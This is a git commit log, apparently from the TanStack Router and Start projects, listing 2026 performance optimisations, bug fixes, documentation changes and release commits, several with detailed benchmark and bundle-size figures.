- Median run means: 3.8889 -> 2.9211 ms.
- Incremental effect: 24.89% less time; throughput change +33.13%.
- Largest within-run RME for this revision: 1.15%.

Incremental minimal/full React gzip impact: +251/+265 bytes.
Benchmark sources and commit implementation trees are unchanged.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

* test(router-core): cover shared interpolation cache workloads

Cover missing optional parameters that become present, canonical splat keys, and the public usedParams shape. Add focused hit, eviction, and mixed-input benchmarks before simplifying cache metadata collection.

Current cache baseline on Node 24.20.0: repeated single-param batches average 0.0050 ms, repeated multi-param batches 0.0305 ms, result eviction 0.1568 ms, template eviction 0.0809 ms, and mixed inputs 0.0370 ms. Miss-heavy runs show outliers and require narrower comparisons. Production cache remains unchanged.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

* perf(router-core): reuse interpolation pass for cache keys

Collect cache parameter names during the existing interpolation pass instead of parsing each new template twice. Reuse the first interpolated result, compact template plans, and share required/optional/splat path assembly. Preserve public interpolation metadata, missing-param behavior, decoder invalidation, and bounded router-local caches.

Fresh existing React Link benchmark against parent cd4010d9cb, Apple M4 / Node 24.20.0 / Vitest 4.1.4 / production:
- 200 persistent Links and eight navigations per batch. Four separate processes per version, counterbalanced order, warmupIterations=50, time=10000 ms.
- Parent means: 3.0527, 2.8610, 2.8329, 2.8729 ms.
- This commit means: 3.1291, 2.8745, 2.8849, 2.8552 ms.
- Median run means: 2.8670 -> 2.8797 ms (+0.44% time, effectively flat; no incremental Link speedup claimed). Within-run RME below 1%.
- Fresh original-baseline comparisons: 4.2143 -> 2.9825 ms (-29.23%) and 4.0561 -> 2.9909 ms (-26.26%). The complete series still exceeds the original 20% target.

Focused interpolation benchmarks, same files/inputs before and after:
- Client uncached single-param batches: 90.51 -> 79.91 us (-11.7%).
- Client cached template eviction: 72.33 -> 49.74 us (-31.2%; 4-6% RME, p75 also improves).
- Client uncached mixed batches: 71.10 -> 52.41 us (-26.3%).
- Server uncached mixed batches: 61.42 -> 38.11 us (-38.0%).

Bundle size: React minimal/full -414 raw bytes each and -55/-68 gzip bytes. All 18 Router/Start fixtures shrink by 48-75 gzip bytes. Independent hunk attribution confirmed reductions for every retained group.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

* perf(router): meet the original Link bundle budgets

Move the bounded pathname cache onto RouterCore and reuse one interpolation traversal for pathname generation, cache keys, and optional public metadata. Remove the factory and per-parameter metadata callbacks, preserve decoder invalidation and development server/client overrides, and simplify React Link active-state and state-prop assembly. Public APIs and routing features remain unchanged.

Official gzip measurements against parent 37bd31e4e2:
- React minimal: 86000 -> 85772 bytes (-228), equal to origin/main.
- React full: 89601 -> 89356 bytes (-245), 6 below origin/main.
- All 18 Router/Start fixtures shrink by 130-245 gzip bytes. Link remains included; fixtures and the existing Link workload are unchanged.
- Independent Link-only changes save 78/86 bytes; core-only changes save 174/169. Combined gzip effects are not additive.

Fresh existing production Link benchmark, Apple M4 / Node 24.20.0 / Vitest 4.1.4: 200 persistent Links, eight navigations per batch, 50 warm-up iterations and 10-second measurements, with separate processes in counterbalanced order.
- Parent means: 2.903316, 2.908833, 2.945163, 2.955386 ms.
- This commit means: 2.941129, 2.941699, 2.920172, 2.970072 ms.
- Median run means: 2.926998 -> 2.941414 ms (+0.49% time, near process-to-process noise; no incremental Link speedup claimed). Maximum within-run RME: 0.84%.
- Fresh original-baseline comparison: 4.283454 -> 3.016571 ms (-29.58% time). This is the whole-series improvement, not the incremental effect of this commit.

Identical focused before/after benchmarks show public helper regressions eliminated, server public families 4.68-12.85% faster, and cached mixed/missing cases 6.50-10.43% faster. Removing the redundant last-template shortcut makes isolated single-template cache hits slower (5.93 -> 7.21 us client per 200 calls; 5.99 -> 6.83 us server). The real Link workload remains effectively flat for this size-reduction step.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

* perf(router-core): cache omitted optional path params

---------

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
2026-09-13 13:55:01 +02:00
Sarah Gerrard
ae68535929
perf(history): avoid generating unused location keys (#8349) 2026-09-12 13:19:37 -07:00
Flo
8fff7fa1f2
fix(history): normalize memory history hrefs (#8359) 2026-09-12 21:57:33 +02:00
Tanner Linsley
05422da535
docs(start): correct authentication server function examples (#8368)
* docs(start): correct authentication server function examples

* docs(start): prevent caching session-specific auth pages

* docs(start): guard login forms until hydration

* test(start): assert authentication behavior in SSR and SPA modes
2026-09-11 17:22:55 -06:00
Tanner Linsley
3487cf0451
docs(start): redirect obsolete Solid tutorial path (#8379) 2026-09-11 17:14:55 -06:00
Tanner Linsley
0b152a7b5e
docs(start): add production release checklist (#8373)
* docs(start): add production release checklist

* docs(start): clarify authenticated CSRF and cache checks
2026-09-11 17:14:04 -06:00
Tanner Linsley
e047e3f7ca
docs(start): add tested TanStack Query integration guide (#8372)
* docs(start): add tested TanStack Query integration guide

* fix(examples): protect Query server functions from cross-site calls
2026-09-11 17:13:58 -06:00
Tanner Linsley
c6c282b786
docs(start): distinguish authentication page titles (#8378) 2026-09-11 17:12:52 -06:00
Tanner Linsley
dbf0bd9582
docs(start): add a tested Next.js migration reference (#8371)
* docs(start): add a tested Next.js migration reference

* fix(examples): serialize migration save and sign-out actions

* fix(examples): verify authenticated cross-site mutation rejection
2026-09-11 17:12:47 -06:00
Tanner Linsley
83b2199b4c
docs(start): substantiate framework comparison claims (#8369) 2026-09-11 15:06:24 -06:00
Tanner Linsley
d48ae42b85
docs(start): describe key search entry pages (#8367) 2026-09-11 14:47:42 -06:00
Tanner Linsley
931fae487e
docs(start): fix tutorial and ISR guide links (#8366)
* docs(start): fix broken createServerFn doc links in reading-writing-file tutorials

The 'server-functions' page moved from /framework/{react,solid}/server-functions
to /framework/{react,solid}/guide/server-functions in a recent docs refactor.
The old URL returns 307 redirects that hang (tanstack.com server is
timing out on these paths) — effectively a 404 from the user perspective.

Verified manually: the new /guide/server-functions path returns 200 for
both react and solid variants. The link text in the tutorial points to
'createServerFn', which is documented on the new page.

* docs(start): fix ISR data loading link

---------

Co-authored-by: sanjibani <18418553+sanjibani@users.noreply.github.com>
2026-09-11 14:36:09 -06:00
EduardF1
d91b383b8f
docs(start): fix broken routing-side guide link in authentication primitives (#7701) (#7705)
docs(start): fix broken routing-side guide link in authentication primitives

The "routing-side guide" links in the Authentication Server Primitives guide
used a relative path (`../../../../router/guide/authenticated-routes.md`).
While that resolves as a file path, it renders to an invalid site URL
(`/start/latest/router/guide/authenticated-routes`) and 404s.

Use the absolute cross-project doc path that the rest of the docs already use
for Router links, e.g. `/router/latest/docs/framework/react/guide/authenticated-routes`.

Closes #7701

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-09-11 14:34:50 -06:00
Sarah Gerrard
f021f6d1c6
perf(history): avoid temporary arrays in memory history (#8352) 2026-09-11 07:51:30 -07:00
Flo
9872d2ac39
perf(history): use lightweight history for server rendering (#8354) 2026-09-11 11:45:21 +02:00
github-actions[bot]
6494e75362
ci: Version Packages (#8330)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-09-10 20:11:56 +02:00
Corbin Crutchley
8c43c71252
fix: upgrade TanStack Store to latest (#7824)
* fix: upgrade TanStack Store to 0.11.x

* fix: add isServer edgecase to Vue Router

* Revert "fix: add isServer edgecase to Vue Router"

This reverts commit 18b52ab215.

* chore: remove useSelector in favor of upstream

* fix: handle CatchNotFound memory leaks

* fix(vue): migrate to use defineComponent properly

* fix: accept SFCs for routes
2026-09-10 19:41:24 +02:00
Flo
0ba4e9f03b
fix(nx): cache benchmark checks and build measurements (#8343)
* chore: update nx to 23.2.0

* fix(nx): remove deprecated self dependencies from Playwright plugin

* fix(nx): cache benchmark checks and build measurements
2026-09-10 18:55:36 +02:00
Flo
0a89977174
fix(nx): remove deprecated self dependencies from Playwright plugin (#8342)
* chore: update nx to 23.2.0

* fix(nx): remove deprecated self dependencies from Playwright plugin
2026-09-10 18:55:17 +02:00
Flo
1eb8b03595
chore: update nx to 23.2.0 (#8341) 2026-09-10 18:28:24 +02:00
Flo
d914b085bb
fix(start-server-core): correctly iterate response headers (#8340)
* test(start-server-core): cover response header replacement

Carry forward the five tests from #5537 and extend cookie and header-name coverage.

Co-authored-by: Carlos González <carlos.rgn@gmail.com>

* fix(start-server-core): correctly iterate response headers

* fix(start-server-core): preserve live response headers

---------

Co-authored-by: Carlos González <carlos.rgn@gmail.com>
2026-09-10 17:27:44 +02:00
Flo
130992b32f
test(start): cover transformed script URL escaping in SSR (#8336) 2026-09-10 15:46:59 +02:00
Kevin Van Cott
3b27db6c38
docs: remove duplicate Router and Start page headings (#8339) 2026-09-10 12:32:59 +02:00
Flo
69c07c4bbf
test(router-core): cover search-derived context boundaries (#8334)
* test(react-router): cover search-derived context boundaries

* test(router-core): move search context boundary coverage to core
2026-09-10 11:05:54 +02:00
Flo
b1c9219439
perf(solid-router): skip client setup for all server links (#8316)
* perf(solid-router): skip client setup for all server links

* test(solid-router): preserve caller props for internal SSR links

* Merge branch 'main' into codex/solid-link-server-all [Self-Healing CI Rerun]

---------

Co-authored-by: nx-cloud[bot] <71083854+nx-cloud[bot]@users.noreply.github.com>
2026-09-10 07:55:02 +02:00
Sarah Gerrard
76239a34b7
fix(solid): avoid repeated hydration scans and script execution (#8270)
* fix(solid): avoid repeated hydration scans and script execution

* test: assert hydration boundary behavior

* test(solid): cover script counts and local hydration lookups
2026-09-09 19:02:21 -07:00
github-actions[bot]
edeb19979e
ci: Version Packages (#8281)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-09-09 23:43:22 +02:00
Flo
9c1871ccc8
fix: harden URL handling across Router and Start (#8308)
* fix: harden URL handling across Router and Start

* fix: preserve unload blockers after document navigation

* perf: reduce document navigation guard size
2026-09-09 23:03:49 +02:00
Manuel Schiller
f9836f16f0
perf(router-core): avoid empty query serializer allocations (#8313)
Construct URLSearchParams only when the first non-undefined input is serialized. Preserve inherited enumeration, getter/callback order, falsy values, empty custom output and native set collision semantics. Add failing-before empty-allocation cases and focused empty-query benchmark cases.

Against d40fb30307, four balanced isolated-process pairs reduced client shared-param CPU 7.89% (95% CI -12.61% to -2.92%) and wall 7.36% (-12.77% to -1.61%). SSR shared-param CPU fell 15.65% (-18.07% to -13.15%) and wall 15.63% (-18.72% to -12.41%). Populated middleware search remained inconclusive: CPU -0.20% (-2.69% to +2.36%), wall +0.02% (-3.36% to +3.51%).

React Router minimal/full gzip +1/+7 bytes; deltas across all 18 fixtures range -3 to +7 bytes. Custom stringifySearch and middleware are still executed; no API or functionality removed.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
2026-09-09 22:51:44 +02:00
Manuel Schiller
9aec5a7012
perf(react-router): avoid redundant Link state prop allocations (#8311)
Links resolve one state-prop bag instead of separate active and inactive bags. Class names do not need temporary arrays. Unchanged styles retain their original references. Callback behavior and prop precedence remain unchanged.

React Link rendering benchmark, measured separately for this commit
and its parent using exact production builds:
- Workload: benchmarks/client-nav/scenarios/links/react/speed.bench.ts
  (200 persistent Links, eight navigations per measured batch).
- Apple M4, Node 24.20.0, Vitest 4.1.4, NODE_ENV=production.
- 8 fresh parent processes and 8 fresh processes for this commit,
  each with warmupIterations=50 and time=10000 ms;
  counterbalanced run order.
- Parent mean times (ms): 3.9412, 3.8998, 3.8950, 4.2674, 4.0423, 3.8793, 3.9043, 4.1120.
- This commit mean times (ms): 3.8767, 3.8900, 4.5507, 4.0116, 3.8297, 3.8582, 3.8879, 4.0157.
- Median run means: 3.9228 -> 3.8889 ms.
- Incremental effect: 0.86% less time; throughput change +0.87%.
- Largest within-run RME for this revision: 3.08%.
- The small difference is not a reliable speedup claim; it is close to
  process-to-process variation.

Incremental minimal/full React gzip impact: -12/-7 bytes.
Benchmark sources and commit implementation trees are unchanged.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
2026-09-09 22:22:12 +02:00
Flo
539e5985cf
test(router-core): cover SSR URL encoding regressions (#8307) 2026-09-09 16:26:19 +02:00
Sarah Gerrard
49bcd4db74
chore: refresh Router and Start dependencies (#8300)
* chore: refresh Router and Start dependencies

* chore: centralize shared dependencies

* chore: keep examples self-contained

* chore: sync catalog versions into examples

* test(start-plugin-core): refresh hydration snapshots and portable fixtures
2026-09-09 06:27:59 +02:00
Sarah Gerrard
9871c06258
perf(router-core): index cache membership checks per commit (#8288) 2026-09-07 16:59:23 -07:00
Flo
0654c0a1a4
fix(router-core): reload documents for cross-origin rewrites (#8287)
* fix(router-core): reload documents for cross-origin rewrites

* test(router): expand document navigation coverage

* fix(router): respect registered document navigation blockers
2026-09-08 01:23:05 +02:00
Sarah Gerrard
919c397149
perf(start-plugin-core): skip unused manifest build data (#8261)
* perf(start-plugin-core): skip unused manifest build data

* fix(start-plugin-core): skip Rsbuild CSS capture during development

* update tests per review
2026-09-08 00:21:49 +02:00
Flo
0f40695fbe
test: cover existing navigation and redirect behavior (#8286) 2026-09-07 21:35:15 +02:00
Flo
aee42c6b64
perf(react-router): avoid unnecessary composed handlers (#8279)
* perf(react-router): avoid unnecessary composed handlers

* perf(react-router): shorten composed handler fast path

* test(react-router): remove handler benchmark
2026-09-07 13:25:36 +02:00
github-actions[bot]
a58e01c604
ci: Version Packages (#8182)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-09-06 23:22:45 +02:00
Flo
216c0c4803
perf(router-core): reduce navigation promise chains (#8259)
* test(router-core): cover navigation promise overhead

* test(router-core): cover blocking readiness and queued SSR cancellation

* perf(router-core): reduce navigation promise chains

* test(router-core): focus awaitable coverage on standard promises

* perf(router-core): bypass cancellable waits for synchronous beforeLoad

* chore: remove navigation investigation artifacts

* refactor(router-core): return chunk failures directly
2026-09-06 18:55:52 +02:00
Flo
9035abc411
fix(history): handle blockers consistently across history traversal (#8264)
* fix(history): preserve unload blockers during back and forward navigation

* fix(history): respect ignoreBlocker in go navigation

* fix(history): reverse blocked traversal by its delta
2026-09-06 16:19:47 +02:00
Flo
e16faec455
test: reduce memory benchmark variance and simplify the harness (#8260)
* ci: allow memory-only benchmark experiments

* test: apply Node compiler and GC corrections to memory workers

* test: replace adaptive memory GC polling with fixed work

* test: control the memory worker old-generation GC budget

* test: measure natural churn and single-request memory footprints

* test: isolate memory error-path workers

* test: remove code generation from memory measurements

* test: make aborted memory requests follow cancellation

* test: simplify memory cancellation helpers

* test: remove incremental marking from memory measurements

* test: track shared memory runtime in type-check cache

* test: separate memory warmups with an event-loop turn

* test: reset client memory apps between benchmark invocations

* chore: remove stale memory benchmark guidance

* test: control the memory benchmark coordinator runtime

* revert: keep the better-tested memory benchmark runtime

* test: restore JIT in memory benchmark workers

* docs: record memory worker flag removal evidence

* test: remove added memory unit tests and restore workflow
2026-09-06 13:11:27 +02:00
Flo
08eff50c44
fix(router-core): fix dangling references in published declarations (#8207)
* fix(router-core): strip internal SSR globals from declarations

* fix(router-core): avoid stripped SSR type reference

* Revert "fix(router-core): avoid stripped SSR type reference"

This reverts commit 2bc6b55255.

* fix(router-core): strip internal dehydrated context type

* test(router-core): cover published declarations for internal context fix

* test(router-core): isolate published declaration fixtures

* test(router-core): remove declaration consumer fixtures
2026-09-06 11:00:24 +02:00
Manuel Schiller
cf166d160e
fix(react-router): avoid rewriting unchanged head assets (#8257)
Fixes #8250

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
2026-09-06 00:21:02 +02:00
Flo
07b3bc971d
test(react-router): cover pending and not-found context (#8243)
test(react-router): cover context during pending and not-found loads
2026-09-06 00:00:46 +02:00
Flo
2f20c00224
fix(router-core): skip lifecycle callbacks below fallback boundaries (#8165)
* fix(router-core): track lifecycle membership through fallback boundaries

* test(router-core): benchmark fallback lifecycle dispatch

* test(router-core): preserve explicitly targeted not-found lifecycle

* perf(router-core): avoid lifecycle prefix allocations

* test(router-core): cover lifecycle dispatch at typical route depths

* perf(router-core): reduce fallback lifecycle bundle overhead

* perf(router-core): omit unused initial lifecycle boundary

* fix(router-core): keep lifecycle metadata declaration compatible with Playwright
2026-09-06 00:00:46 +02:00
Flo
0497caeef3
perf(router): use URL.canParse for absolute URL checks (#8251)
* perf(router): use URL.canParse for absolute URL checks

* refactor(router): simplify absolute URL conditions

* perf(router): remove redundant absolute URL prechecks
2026-09-05 22:05:13 +02:00
Flo
09da932575
test: stabilize CPU simulation with isolated SSR workers and explicit V8 settings (#8248)
* test: disable Maglev in CPU simulation benchmarks

* test: track shared CPU simulation flags in benchmark checks

* test: disable scheduled minor GC in CPU simulation

* test: keep incremental marking allocation-driven in CPU simulation

* test: release streamed benchmark data on counted task turns

* test: fix the initial heap budget for CPU simulation

* test: use eager baseline compilation in CPU simulation

* test: isolate each SSR workload in a fresh benchmark worker

* test: remove unnecessary marking override after runtime comparisons

* test: simplify benchmark setup after review
2026-09-05 20:54:53 +02:00
Manuel Schiller
af2f9d1c44
chore: simplify bundle optimization commands (#8253)
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
2026-09-05 20:46:34 +02:00
Flo
28a5e4504e
fix(router): handle unknown error boundary values (#8209)
* fix(router): handle unknown error boundary values

* fix(router): complete unknown boundary error migration

* docs(router): keep boundary examples within skill limits

* fix(router): restore minimal boundary error display

* fix(solid-router): unify boundary errors across SSR and client
2026-09-05 14:48:44 +02:00
Flo
c18e690814
perf(router-core): avoid redundant promises for ready routes (#8244)
* test(router-core): add ready-route performance controls

* test(router-core): type throwing thenable getter explicitly

* perf(router-core): avoid redundant promises for ready routes

* test(router-core): restrict preload coverage to supported behavior

* docs(router-core): record immediate preload scheduling experiment

* perf(router-core): keep the simpler immediate chunk wrapper

* chore: remove ready-route benchmark artifacts
2026-09-05 11:24:18 +02:00
Flo
f0b5eda544
fix(router-core): retain not-found boundary during navigation (#8161)
* fix(router-core): retain not-found boundary during navigation

* chore: add changeset for not-found boundary fix

* test(react-router): cover overlapping not-found retention boundaries
2026-09-05 09:51:56 +02:00
Flo
2f9150309b
perf(router-core): avoid quadratic cache resource handoff (#8240)
* test(router-core): cover cache commit ownership and scaling

* perf(router-core): avoid quadratic cache resource handoff
2026-09-04 22:55:02 +02:00
Flo
50eafcaebb
perf(router-core): gate JSON.parse attempts behind jsonStart guard in parseSearchWith (#8142)
* perf(router-core): gate JSON.parse attempts behind jsonStart guard in parseSearchWith

* test(router-core): strengthen search parsing regression coverage

* chore(router-core): add search parsing changeset and refresh measurements

* docs: use a shell-safe parsing benchmark output path

* chore: keep search parsing measurements out of the PR
2026-09-04 22:43:10 +02:00
Flo
ee283480df
perf(router-core): replace the LRU cache with a trimmed SIEVE cache (#8230)
* perf(router-core): replace the LRU cache with a trimmed SIEVE cache

The hand-rolled doubly-linked LRU relinked the hit entry to the newest
position on every `get`. Every cache in the router (resolvePathCache,
the route tree's matchCache/singleCache/flatCache, the SSR manifest
cache) is hit-dominated: a page of links re-resolves the same handful
of paths on every navigation, so the relink was pure overhead.

SIEVE (https://cachemon.github.io/SIEVE-website/) keeps a FIFO list and
a visited bit per entry; a hit only sets the bit, and eviction sweeps a
hand from the oldest entry, clearing bits and dropping the first
unvisited one. Same API as before (`get`/`set`/`clear`, fixed `max`),
no dependency, and the old implementation's stale-`oldest` eviction
edge case is gone.

Microbenchmark (ns/op, Node 25): get-hit 17.0 -> 13.9, set-insert
64.9 -> 50.8, set-evict 79.9 -> 79.9, scan-then-return 41.0 -> 34.8,
get-miss 16.2 -> 19.3. Hit ratios on the links and route-tree-scale
client-nav traces are identical (working sets of 3-9 keys never evict).

Bundle gzip: react-router.minimal -8 B, react-router.full -15 B.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01C1tX2n8xegVBsZqoJPu7iv

* perf(router-core): trim SIEVE cache nodes

---------

Co-authored-by: Claude Fable 5.1 <noreply@anthropic.com>
2026-09-04 20:56:39 +02:00
Magnus
650acb4a89
fix(docs): Ensure we use normal install for query integration package (#8228) 2026-09-03 20:01:54 +02:00
Flo
edf0e16ebf
perf(router-core): share settle chain between superseded navigation waiters (#8222)
perf(router-core): make superseded navigation waiters share one settle chain

`awaitCurrent` looped `await current.done` and re-read `router._tx` after
each completion. Under back-to-back navigations (anything that starts the
next navigation in the same tick as `onRendered`, including the client-nav
benchmarks) every superseded waiter woke on every successor, so a burst of
N navigations cost N²/2 microtask iterations and kept every superseded
transaction alive until the router went idle.

Each transaction's `done` promise now follows its current successor, so
every waiter on a transaction shares the same chain instead of polling
successors independently. A waiter still resolves once the router has
settled on a transaction other than its owner.

Measured in benchmarks/client-nav (react, navigations per 10s, jsdom):
baseline 15.4K -> 43K, route-tree-scale 17.9K -> 98K,
search-params 16.5K -> 55K. The instrumented baseline run showed
125.8M loop iterations for 15,867 navigations before the change.
Bundle: react-router.minimal -1 B gzip vs main.


Claude-Session: https://claude.ai/code/session_01C1tX2n8xegVBsZqoJPu7iv

Co-authored-by: Claude Fable 5.1 <noreply@anthropic.com>
2026-09-03 15:10:53 +02:00
Cong-Cong Pan
37877da166
perf(start): optimize Rsbuild import protection reporting (#8164)
* perf(start): avoid parsing original source in Rsbuild import protection

* perf(start): avoid filesystem reads in Rsbuild import protection reporting

* perf(start): remove redundant module survival checks

* perf(start): ignore inactive Rspack import connections

* perf(start): lazily build Rsbuild import protection diagnostics

* chore: remove test case

* add changeset

* fix(start): persist Rsbuild import protection markers in buildInfo

* fix: normalize file path in getModuleResource

* fix(start): restore Rsbuild diagnostics for inactive imports

* fix(start): improve Rsbuild import protection diagnostics

* refactor(start): clarify Rsbuild violation scanner state

* update readme

* fix(start-plugin-core): avoid dependency locations in Rsbuild diagnostics

* fix(start): respect importer scope for Rsbuild markers

* refactor(start): move Rsbuild import protection transform to loader

* test(start): type Rsbuild import protection mocks

* fix(start): close Rsbuild import protection reporting gaps

* fix(start): skip errored Rsbuild import protection modules
2026-08-31 18:48:41 +02:00
Manuel Schiller
65d565c946
fix route trees (#8197) 2026-08-31 01:34:33 +02:00
Nicolas Stepien
3c6c959e56
Tweak a few NODE_ENV placements (#8196) 2026-08-31 01:34:24 +02:00
Kenji Mizuguchi
0caf6b9a2b
fix: preserve shouldThrow in route-scoped hooks (#8169)
* fix(react-router): forward shouldThrow in Route.useMatch

Co-authored-by: Cursor <cursoragent@cursor.com>

* ci: apply automated fixes

* fix(react-router,solid-router,vue-router): preserve shouldThrow in route-scoped hooks

Co-authored-by: Cursor <cursoragent@cursor.com>

* test: simplify route-scoped shouldThrow coverage

---------

Co-authored-by: Cursor <cursoragent@cursor.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Sheraff <me@florianpellet.com>
2026-08-27 23:54:34 +02:00
github-actions[bot]
0dbb77f726
ci: Version Packages (#8177)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-08-27 01:33:18 +02:00
Manuel Schiller
79e35335b4
optimize query integration (#8175)
* optimize query integration

* fix
2026-08-27 01:28:24 +02:00
Manuel Schiller
ebf13ed517
add react-start-query-integration bundlesize benchmark scenario (#8153)
* add react-start-query-integration bundlesize benchmark scenario

* bump query
2026-08-25 19:43:21 +02:00
Kevin Van Cott
3dee5b2e94
docs: clarify contribution guidelines (#8163)
* docs: clarify contribution guidelines

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-08-25 05:14:16 +02:00
Flo
9f8990b515
test(router-core): assert sequential asset projection (#8152) 2026-08-23 11:43:22 +02:00
github-actions[bot]
a5a5bacc8f
ci: Version Packages (#8133)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-08-23 00:53:08 +02:00
Flo
0eb45738c0
fix(router-core): reject overlapping parameter affixes (#8154)
* fix(router-core): reject overlapping parameter affixes

* perf(router-core): reduce affix overlap check size

* test(router-core): assert affix match parameters

* ci: apply automated fixes

* perf(router-core): normalize route affixes

* ci: apply automated fixes

* add test case

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-08-22 21:47:42 +02:00
Flo
eb9ddac3e2
test(router-core): document U+0130 affix limitation (#8149)
* fix(router-core): match Unicode wildcard suffixes

* ci: apply automated fixes

* refactor(router-core): clarify wildcard suffix boundaries

* fix(router-core): handle Unicode parameter affixes

* test(router-core): document U+0130 affix limitation

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-08-22 18:16:43 +02:00
Flo
81e4a79da2
perf(router-core): reduce client loader bundle size (#8150)
* perf(router-core): reduce client loader bundle size

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-08-22 17:42:10 +02:00
Jiahan Chen
aab01dec75
chore(start): remove redundant splitChunks config from React plugin (#8136) 2026-08-22 09:48:38 +02:00
Jiahan Chen
a0041bb36e
fix(start): migrate to Rsbuild splitChunks config (#8135) 2026-08-22 09:48:30 +02:00
Flo
d83a8964c2
ci: improve bundle size PR table (#8148) 2026-08-22 05:45:16 +02:00
Flo
cb281d70c1
fix(router-core): preserve context during reloads (#8130)
* fix(router-core): preserve context during reloads

* ci: apply automated fixes

* test(router): consolidate issue 8115 coverage

* fix(vue-router): react to provider context changes

* fix(router-core): refine context reconstruction

* bytes

* type fixes

* context + immediate UI on load

* coderabbit is happy

* no context in pending/error/notFound components

* changesets

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-08-20 23:34:06 +02:00
Manuel Schiller
fa65287281
perf(router): remove prebuilt preload locations (#8132) 2026-08-20 23:17:16 +02:00
Flo
e9f63a6c69
ci: add timeout-minutes to codspeed step in benchmarks (#8122)
* ci: add timeout-minutes to codspeed step in benchmarks

* add concurrency w/ queue:single
2026-08-19 19:16:25 +02:00
Flo
7557415669
test(router-core): assert state structural sharing (#8121) 2026-08-19 13:48:51 +02:00
github-actions[bot]
4fcbcde90d
ci: Version Packages (#8119)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-08-19 13:22:14 +02:00
Flo
3e016ac84f
perf(router-core): buildLocation optimizations (#8117) 2026-08-19 11:28:52 +02:00
Flo
92749aba6e
perf(router-core): cache route mask misses (#8111)
* perf(router-core): cache route mask misses

* test(router-core): restore route mask cache spy
2026-08-19 11:24:35 +02:00
Flo
128757113e
perf(router-core): skip impossible state sharing (#8110)
* perf(router-core): skip impossible state sharing

* fix(router-core): preserve custom state handling

* perf(router-core): simplify state sharing guard

* perf(router-core): inline state property reads
2026-08-19 11:24:26 +02:00
Flo
a1c3674d3b
perf(router-core): skip disabled search validation (#8112)
* perf(router-core): skip disabled search validation

* test(router-core): cover validation middleware ordering

* test(router-core): assert search validation execution
2026-08-19 11:24:18 +02:00
Flo
6be202cde4
perf(router-core): optimize buildLocation path resolution (#8108)
* perf(router-core): optimize buildLocation path resolution

* perf(router-core): remove unreachable absolute path handling

* fix(router-core): normalize relative path bases

* perf(router-core): skip redundant relative path cleanup
2026-08-19 11:24:08 +02:00
github-actions[bot]
a78f2af5b4
ci: Version Packages (#8079)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-08-18 17:12:28 +02:00
Flo
63d2cc9155
fix(router-core): remove navigation rollback (#8092)
* fix(router-core): remove navigation rollback

* test(react-start): update failed HMR refresh expectation
2026-08-18 14:09:37 +02:00
Flo
5d3785dcc3
fix(router-core): preserve pending UI across retained routes (#8084)
* fix(router-core): preserve pending UI across retained routes

* fix(router-core): harden pending session ownership

* fix(router): align pending presentation across Solid and Vue (#8097)

fix(router): align pending presentation across frameworks

* changesets

* test: align hydration fake timers
2026-08-18 14:09:36 +02:00
Flo
f97188fdb4
chore: localize package dependencies (#8078) 2026-08-15 13:42:24 +02:00
Flo
f75cada017
perf(react-router): direct export of CatchBoundary class component, remove function wrapper (#8068)
bundle(react-router): direct export of CatchBoundary class component, remove function wrapper
2026-08-15 08:52:06 +02:00
github-actions[bot]
11dfc93669
ci: Version Packages (#8075)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-08-15 00:08:52 +02:00
Flo
bdaf73a406
perf(router-core): inline buildWithMatches inside buildLocation (#8070)
* perf(router-core): inline buildWithMatches inside buildLocation

* better cleanup
2026-08-14 22:47:45 +02:00
Flo
cf6ab178b3
perf(router-core): inline isFunction utility (#8069) 2026-08-14 21:03:47 +02:00
Flo
4c89b15dd2
perf(router-core): inline getOpenAndCloseBraces in parseSegment (#8071) 2026-08-14 21:03:20 +02:00
Flo
0fdf9ff16f
perf: inline isCtrlKey utility inside all Link components (#8073) 2026-08-14 21:02:47 +02:00
github-actions[bot]
53b63cf6fb
ci: Version Packages (#8052)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-08-14 14:05:28 +02:00
Flo
0c25a7b43b
fix(react-router): avoid Suspense above root documents (#8055)
* fix(react-router): avoid suspense above root documents

* test(react-start): cover root document hydration

* test(react-router): remove indirect hydration assertion

* perf(react-router): reduce suspense wrapper bundle size

* test(react-start): isolate root hydration regression

* fix(react-router): preserve root suspense in CSR

* refactor(react-router): simplify root suspense checks

* fix(react-router): preserve functional ssr classification
2026-08-14 13:34:08 +02:00
Flo
31882c7fa8
fix(router): reuse resolved lazy route components (#8054)
* fix(router): reuse resolved lazy route components

* fix vue inconsistency

